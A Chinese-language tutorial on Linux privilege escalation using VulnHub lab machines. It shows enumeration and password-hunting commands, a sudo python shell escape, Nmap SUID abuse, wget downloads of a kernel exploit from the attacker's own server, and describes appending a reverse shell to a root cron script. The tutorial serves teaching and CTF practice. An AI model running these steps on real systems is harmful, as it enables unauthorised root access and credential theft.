Linux提權(quán)過(guò)程中的各種姿勢(shì)
1.關(guān)于提權(quán)
系統(tǒng)提權(quán)通常是滲透測(cè)試或CTF比賽中遇到的關(guān)鍵步驟, 通過(guò)提權(quán)可以允許攻擊者執(zhí)行一些特殊操作,例如:繞過(guò)訪問(wèn)控制、更改密碼、創(chuàng)建新用戶作為持久化手段、對(duì)軟件進(jìn)行更改等。具有root權(quán)限的用戶則可以對(duì)系統(tǒng)進(jìn)行任何操作, 包括:讀、寫或刪除任何文件、停止或啟動(dòng)服務(wù)、安裝或卸載應(yīng)用程序及管理賬戶等。
2.提權(quán)過(guò)程中的信息收集
提權(quán)過(guò)程中的信息收集相當(dāng)于是一個(gè)手動(dòng)枚舉的過(guò)程, 涉及對(duì)系統(tǒng)配置和服務(wù)信息進(jìn)行詳細(xì)的查看和收集, 在此過(guò)程中, 往往需要記錄盡可能多的信息, 其中有些看似不重要的信息即使現(xiàn)在用不到, 在后期往往能提供非常有價(jià)值的靈感和思路。
2.1 查看系統(tǒng)內(nèi)核版本
如果發(fā)現(xiàn)具有可用漏洞的內(nèi)核版本, 則可以使用它來(lái)獲取root shell, 可以使用以下命令查看內(nèi)核版本:
$ uname -r
命令返回如圖:
圖片
如果安裝了LSB模塊, 則可以使用命令查看Linux版本, 命令如下:
$ lsb_release -a
假如沒(méi)有該命令, 可以使用以下命令查看:
$ cat /proc/version
命令返回結(jié)果如下:
圖片
2.2 Sudo版本
跟內(nèi)核版本一樣, sudo版本也可能受到攻擊, 可以使用以下命令查看:
$ sudo -V
命令返回結(jié)果如下:
圖片
2.3 歷史記錄
使用history命令可以查看系統(tǒng)曾經(jīng)運(yùn)行的命令歷史記錄, 在這個(gè)過(guò)程中往往能夠找到一些有價(jià)值的信息,例如:系統(tǒng)密碼,如圖:
圖片
2.4 計(jì)劃任務(wù)
可以使用命令查看系統(tǒng)中間隔時(shí)間運(yùn)行的程序, 在這個(gè)過(guò)程中可能會(huì)發(fā)現(xiàn)一些意外的信息,如圖:
圖片
2.5 sudo信息
在Linux權(quán)限提升過(guò)程中, 查看用戶當(dāng)前擁有的sudo權(quán)限, 可以提示我可能使用sudo能夠運(yùn)行某些命令, 輸入以下命令:
$ sudo -l
命令返回結(jié)果如下:
圖片
2.6 檢查身份
可以直接使用id命令查看當(dāng)前用戶屬于哪些組, 如圖:
圖片
2.7 檢查網(wǎng)絡(luò)信息
查看網(wǎng)絡(luò)信息可以為下一步行動(dòng)提供豐富的信息,例如: 路由信息、IP地址等, 根據(jù)這些信息對(duì)于之后理清整個(gè)網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)非常有幫助, 命令執(zhí)行結(jié)果如下:
圖片
3.自動(dòng)化工具
在Linux系統(tǒng)中使用自動(dòng)化工具可以大大提升整體效率, 以下是一些常見(jiàn)的枚舉工具。
3.1 LinEnum
LinEnum是一款流行的權(quán)限提升工具, 它能夠顯示有關(guān)Linux系統(tǒng)的信息, 這些信息有價(jià)值的地方在于它們可能具有潛在的漏洞、錯(cuò)誤配置, 大大提高提權(quán)的成功幾率。
圖片
LinEnum收集的信息包括:用戶賬戶、文件權(quán)限、活動(dòng)進(jìn)程、已安裝的軟件包、網(wǎng)絡(luò)配置、計(jì)劃任務(wù)、系統(tǒng)日志、版本信息等。
3.2 LinPEAS
LinPEAS也是一個(gè)流行的提權(quán)腳本, 可以幫助我生成root shell的潛在路徑, 并協(xié)助發(fā)現(xiàn)Linux環(huán)境中權(quán)限的錯(cuò)誤配置或漏洞。
圖片
LinPEAS使用顏色編碼系統(tǒng)突出顯示哪些特權(quán)升級(jí)維度最可能發(fā)揮作用, 如果出現(xiàn)紅色/黃色, 則應(yīng)該優(yōu)先關(guān)注。
3.3 Pspy工具
Pspy是一個(gè)命令行工具, 該工具可以無(wú)需root權(quán)限監(jiān)控Linux系統(tǒng)中運(yùn)行的進(jìn)程。
該工具對(duì)于識(shí)別cron作業(yè)或其他計(jì)劃任務(wù)運(yùn)行的進(jìn)程特別有用, 這些進(jìn)程通常是特權(quán)升級(jí)攻擊的目標(biāo)。通過(guò)識(shí)別這些進(jìn)程,滲透測(cè)試人員可以找到利用錯(cuò)誤配置或漏洞的機(jī)會(huì),從而使攻擊者能夠在系統(tǒng)上獲得更高的權(quán)限。
圖片
3.4 Linux Exploit Suggester
Linux Exploit Suggester是一個(gè)Linux權(quán)限提升工具,用于檢查計(jì)算機(jī)是否存在潛在的內(nèi)核漏洞。該工具使用“極有可能”、“可能”、“不太可能”和“不可能”分?jǐn)?shù)來(lái)計(jì)算漏洞利用成功的可能性。
圖片
3.5 Linux Smart Enumeration
Linux Smart Enumeration是另一個(gè)類似于LinPEAS 的工具。它旨在識(shí)別系統(tǒng)漏洞、錯(cuò)誤配置和其他潛在的系統(tǒng)權(quán)限升級(jí)途徑。然而,LSE以其獨(dú)特的檢查“級(jí)別”而聞名,它允許用戶根據(jù)自己的需要指定枚舉的深度。
它具有三個(gè)詳細(xì)級(jí)別。默認(rèn)情況下,系統(tǒng)會(huì)顯示最嚴(yán)重的安全漏洞。執(zhí)行第1級(jí)會(huì)顯示有用的信息,可以幫助滲透測(cè)試人員升級(jí)權(quán)限。執(zhí)行級(jí)別2將提供收集的所有系統(tǒng)數(shù)據(jù)的大量轉(zhuǎn)儲(chǔ)。
圖片
4.利用內(nèi)核漏洞提權(quán)
內(nèi)核漏洞是利用Linux操作系統(tǒng)內(nèi)核代碼中的錯(cuò)誤或缺陷, 例如:緩沖區(qū)溢出。為了能夠證明利用內(nèi)核漏洞提升權(quán)限并生成root shell確實(shí)有效, 這里使用了VulnHub的Kioptrix 1.1虛擬機(jī)。
當(dāng)以普通用戶進(jìn)入目標(biāo)機(jī)器后, 首先還是通過(guò)lsb_release -a 命令查看內(nèi)核版本, 如圖:
圖片
從上圖中可以看出, 這臺(tái)機(jī)器運(yùn)行的是CentOS, 內(nèi)核版本為:2.6.9, 下一步使用searchsploit命令查找漏洞, 完整命令如下:
$ searchsploit linux CentOS 2.6 privilege escalation
上圖中顯示的9545.c將是我們利用的目標(biāo), 但必須將代碼從Kali傳輸?shù)轿业哪繕?biāo)機(jī)器并編譯成可執(zhí)行文件。
接下來(lái)我在Kali機(jī)器上啟動(dòng)一個(gè)Python服務(wù)器, 并通過(guò)Kioptrix 機(jī)器上的wget下載漏洞利用程序。以下命令將在端口 8000 上啟動(dòng) Python 服務(wù)器。確保在漏洞所在的同一文件夾中啟動(dòng)服務(wù)器。
python3 -m http.server
圖片
圖片
下面我可以使用wget命令將漏洞利用程序下載到Kioptrix,命令如下:
wget http://192.168.56.103:8000/9545.c
下載完成后, 使用以下命令編譯代碼:
gcc 9545.c -o privesc
圖片
最終利用內(nèi)核漏洞獲取到root shell權(quán)限。
5.利用服務(wù)漏洞提權(quán)
服務(wù)漏洞主要是利用系統(tǒng)或應(yīng)用程序服務(wù)中的漏洞達(dá)到提權(quán)目的。這些服務(wù)通常是向其他程序或用戶提供特定功能的后臺(tái)程序,包括: Web服務(wù)器、數(shù)據(jù)庫(kù)服務(wù)器、電子郵件服務(wù)器等。
服務(wù)漏洞利用的過(guò)程涉及攻擊者控制服務(wù)中的漏洞個(gè)來(lái)執(zhí)行惡意代碼, 根據(jù)具體的漏洞和所涉及的服務(wù), 成功利用的結(jié)果可能會(huì)有很大差異。
下面是一個(gè)利用的案例, 看看在VulnHub的Raven2 VM中利用服務(wù)漏洞進(jìn)行root訪問(wèn)是一種怎樣的體驗(yàn)。
當(dāng)我通過(guò)反彈shell進(jìn)入了目標(biāo)系統(tǒng), 便可以進(jìn)行一些枚舉操作來(lái)查找任何潛在的漏洞。
現(xiàn)在我已經(jīng)擁有位于wp_config文件中的MySQL憑據(jù), 接著運(yùn)行LinPeas工具, 看看能否找到任何可能的特權(quán)路徑。
觀察LinPeas提供的輸出內(nèi)容, 我發(fā)現(xiàn)MySQL正在以root身份運(yùn)行, 如圖:
圖片
祭出搜索引擎, 看看該版本的MySQL是否有可用的漏洞,如圖:
圖片
看上去運(yùn)氣不錯(cuò), 有一個(gè)名為udf_root的潛在的權(quán)限提升服務(wù)漏洞可以利用,該漏洞利用MySQL中的UDF(用戶定義函數(shù)是一段擴(kuò)展MySQL服務(wù)器功能代碼)以MySQL服務(wù)的權(quán)限執(zhí)行系統(tǒng)命令, 最終獲取系統(tǒng)權(quán)限。
該漏洞利用會(huì)將/bin/sh復(fù)制到臨時(shí)文件夾, 將所有者設(shè)置為root, 然后在/bin/sh二進(jìn)制文件中設(shè)置SUID權(quán)限, 從而提供root shell。
將udf_root腳本下載到我本地Kali機(jī)器上, 將其重命名為ravenprivesc.py, 通過(guò)執(zhí)勤啟動(dòng)的Python服務(wù)器并使用wget命令將其下載到Raven機(jī)器上, 如圖:
圖片
結(jié)合之前MySQL的登錄憑據(jù), 即:用戶名:root, 密碼:R@v3nSecurity, 運(yùn)行一下試試:
圖片
成功獲取到root權(quán)限。
6.利用Sudo權(quán)限提權(quán)
在Linux系統(tǒng)中, sudo代表超級(jí)用戶執(zhí)行操作, 該命令允許普通用戶以超級(jí)用戶(root)的安全權(quán)限執(zhí)行某些命令。sudo的主要目的是將root權(quán)限限制在真正需要的時(shí)候。
對(duì)于攻擊者來(lái)說(shuō), 利用sudo規(guī)則, 可以獲得提權(quán)并操作一些命令,例如: cat、find或python。
下面我使用sudo -l命令來(lái)查看sudo權(quán)限:
圖片
從上圖中可以看出, 可以使用sudo權(quán)限運(yùn)行python, 而無(wú)需提供密碼。
下面執(zhí)行該命令:
sudo python -c 'import os; os.system("/bin/sh")'
圖片
從上圖看到,直接獲取到了root權(quán)限。
7.利用SUID提權(quán)
SUID代表設(shè)置所有者用戶ID, SUID允許用戶以與文件所有者相同的權(quán)限運(yùn)行可執(zhí)行文件。例如:如果文件設(shè)置了SUID位, 則標(biāo)準(zhǔn)用戶可以使用root權(quán)限執(zhí)行該文件。
SUID權(quán)限可以使用帶有四個(gè)前綴的chmod命令(例如:chmod 4755 文件名)來(lái)設(shè)置, 并且可以在ls -l中用s代替用戶執(zhí)行權(quán)限。
可以輸入以下命令進(jìn)行手動(dòng)檢查SUID:
find / -type f -perm -04000 -ls 2>/dev/null
圖片
也可以使用LinPeas檢查SUID文件,如圖:
圖片
如上圖, 利用Nmap命令設(shè)置SUID位來(lái)幫助我提升權(quán)限??梢詮倪@個(gè)網(wǎng)站:https://gtfobins.github.io/gtfobins/nmap/#suid找到相關(guān)操作的詳細(xì)過(guò)程。
使用--interactive標(biāo)志運(yùn)行Nmap將來(lái)交互模式下啟動(dòng)它, 而!sh會(huì)在交互模式下生成一個(gè)shell, 由于Nmap上設(shè)置了SUID位, 因此shell將以root權(quán)限運(yùn)行。
圖片
8.計(jì)劃任務(wù)提權(quán)
Linux中的計(jì)劃任務(wù)是按預(yù)定義的時(shí)間或間隔運(yùn)行的操作, 它們用于自動(dòng)執(zhí)行重復(fù)性任務(wù), 以便無(wú)需人工干預(yù)即可完成這些任務(wù)。
如果計(jì)劃任務(wù)以更高權(quán)限運(yùn)行, 例如:root cron作業(yè), 并且如果它被錯(cuò)誤配置為執(zhí)行普通用戶可寫的文件或腳本, 這樣就可以修改此文件或腳本來(lái)包含惡意命令, 從而導(dǎo)致權(quán)限升級(jí)計(jì)劃任務(wù)執(zhí)行。
這里我采用了VulnHub中的Symfonos3 VM來(lái)查看計(jì)劃任務(wù), 首先還是利用Python創(chuàng)建一個(gè)http服務(wù),輸入命令:
python3 -m http.server
圖片
這里可以使用wget命令從服務(wù)器下載pspy, 只要確保使用本機(jī)IP 即可:
wget http://192.168.110.136:8000/pspy64
圖片
接著運(yùn)行:./pspy64, 讓pspy運(yùn)行幾分鐘, 這時(shí)可以看到一個(gè)名為ftpclient.py的進(jìn)程在定時(shí)運(yùn)行, 如圖:
圖片
研究一下該文件, 看看是否可以以某種方式在它后面附加一些代碼來(lái)生成反彈Shell,如圖:
圖片
這里我沒(méi)有ftpclient.py文件的寫入權(quán)限, 但我注意到該文件正在導(dǎo)入ftplib, 不妨嘗試將其寫入該文件中試試,如圖:
圖片
由于是"gods"組的一部分,因此擁有該文件的讀寫權(quán)限, 我可以給這個(gè)文件附加一個(gè)shell, 等待計(jì)劃任務(wù)執(zhí)行, 這時(shí)應(yīng)該稱為root用戶了, 如圖:
圖片
回到kali機(jī)器上,看看結(jié)果:
圖片
9.利用密碼提權(quán)
當(dāng)涉及到Linux權(quán)限提升時(shí), 成為root用戶最簡(jiǎn)單的方法之一就是查找密碼, 攻擊者可能會(huì)使用多種方法來(lái)查找系統(tǒng)中的密碼。
Linux用戶可以以純文本形式存儲(chǔ)密碼, 如果這些文件沒(méi)有得到適當(dāng)保護(hù), 攻擊者可能會(huì)訪問(wèn)用戶的賬戶。
一旦找到密碼, 攻擊者就可以使用它來(lái)提升權(quán)限, 方法是登錄更高權(quán)限的賬戶或?qū)⑵渑csudo一起使用以提升權(quán)限運(yùn)行命令。
下面將使用VulnHub中的SickOS VM來(lái)實(shí)現(xiàn)這個(gè)場(chǎng)景, 首先輸入以下命令查看密碼:
cat /etc/passwd
圖片
從圖中可以看到, 有一個(gè)用戶較sickos, 下一步搜索以純文本形式存儲(chǔ)的密碼, 可以使用以下命令來(lái)搜索包含字符串"pass"的PHP文件:
find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass
圖片
可以看到, 有一個(gè)以明文形式存儲(chǔ)的用戶名root和密碼john@123, 看看是否可以使用找到的密碼切換到sickos用戶, 從社會(huì)工程學(xué)角度, 密碼往往會(huì)重復(fù)用于多種場(chǎng)合:
圖片
居然可以, 我已將www-data用戶提升為Sickos用戶, 現(xiàn)在順便看看是否有sudo權(quán)限:
sudo -l
圖片
可以看到,已經(jīng)可以以root用戶身份運(yùn)行所有命令。